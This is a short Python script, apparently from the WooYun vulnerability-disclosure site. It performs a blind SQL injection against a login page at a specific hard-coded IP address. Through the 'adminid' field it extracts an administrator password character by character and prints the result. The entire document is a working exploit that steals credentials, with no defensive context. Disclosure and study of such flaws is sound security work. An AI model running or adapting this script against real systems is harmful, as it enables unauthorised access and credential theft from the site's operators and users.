WooYun.org

#!/usr/bin/env python
#coding=utf-8
import sys
import requests
reload(sys) 
sys.setdefaultencoding('utf-8')
url = "http://123.138.29.71:8080/manage/login.jsp"
headers = {
        "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
    }
key = ""
for j in range(1,10,1):
    for i in range(1,130,1):
        payload = {
            "adminid":"kf0001' AND ASCII(SUBSTR(password,"+str(j)+",1))='"+str(i),
            "password":"123"
        }
        try:
            req = requests.post(url, data=payload, headers=headers)
            if "输入密码不正确" in req.text:
                print "第%d位: "%j + chr(i)
                key = key + chr(i)
                break
            else:
                pass
        except Exception as e:
            print e
print "密码: "+key